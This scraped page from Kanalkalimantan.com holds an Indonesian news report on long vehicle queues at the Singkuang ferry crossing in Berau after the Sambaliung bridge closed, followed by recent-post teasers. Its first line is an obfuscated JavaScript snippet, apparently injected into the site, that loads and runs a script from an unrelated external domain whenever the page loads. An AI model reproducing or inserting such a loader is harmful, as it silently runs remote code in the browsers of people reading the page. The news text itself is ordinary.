(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Berau

Kapal LCT Hanya Bisa 10 Mobil, Antrean Panjang Terjadi di Penyeberangan Singkuang


KANALKALIMANTAN.COM, TANJUNG REDEB – Penutupan jembatan Sambaliung mengakibatkan kemacetan panjang di kawasan Limunjan menuju titik penyeberangan kapal LCT di Singkuang menuju Kota Tanjung Redeb, Kabupaten Berau, Kalimantan Timur.

Terjadi antrean panjang dari Limunjan hingga Singkuang, kondisi berdampak kepada para kendaraan dari luar Berau, seperti angkutan pengantar ikan dari Talisayan menuju pasar tradisional Km 5 Pasar Tanjung Redeb.

Pasca penutupan jembatan Sambaliung, dilakukan pengalihan arus kendaraan roda empat dengan kapal LCT di Singkuang. Sementara untuk kepada kendaraan roda empat di wilayah Limunjan dan Singkuang akan terus berlanjut hingga jembatan Sambaliung rampung dikerjakan.

Baca juga: 1.308 Jemaah Haji Embarkasi Banjarmasin Sudah Diberangkatkan, 13 Kloter Tunggu Giliran

Sekadar diketahui jembatan Sambaliung berada di jalan nasional, penghubung satu-satunya untuk mempertemukan Sambaliung dan Tanjung Redeb,

Penjelasan dari salah satu petugas Dishub Kabupaten Berau yang berada di lapangan, Safarudin mengatakan, terjadinya antrean panjang kendaraan bermotor tersebut diakibatkan oleh lambatnya parkir mobil yang masuk ke dalam kapal LCT.

Antrean panjang menuju penyeberangan kapal LCT di Singkua ng, Kabupaten Berau. Foto: ads

“Untuk penyusunan parkir kendaraan roda empat tersebut harus masuk secara bergantian satu persatu agar aman, karena demi keamanan di atas kapal LCT saat menyeberang,” ucapnya.

Baca juga: Dua Motor Tabrakan di Pengayuan Liang Anggang, Pengendara Vario Meninggal Dunia

“Sedangkan untuk kapasitas muat kendaraan roda empat tersebut hanya bisa masuk ke kapal LCT maksimalnya hanya 10 buah roda empat saja,” tegasnya.

Sementara itu, banyak roda empat yang akan menyeberang memakan waktu terlalu lama. “Saya berharap kepada Pemerintah Kabupaten Berau agar secepatnya bisa menemukan solusi secepatnya,” ungkap salah seorang sopir roda empat. (Kanalkalimantan.com/ads)

Reporter: ads
Editor: kk


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

3 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

5 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

5 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

5 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

7 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

8 jam ago

This website uses cookies.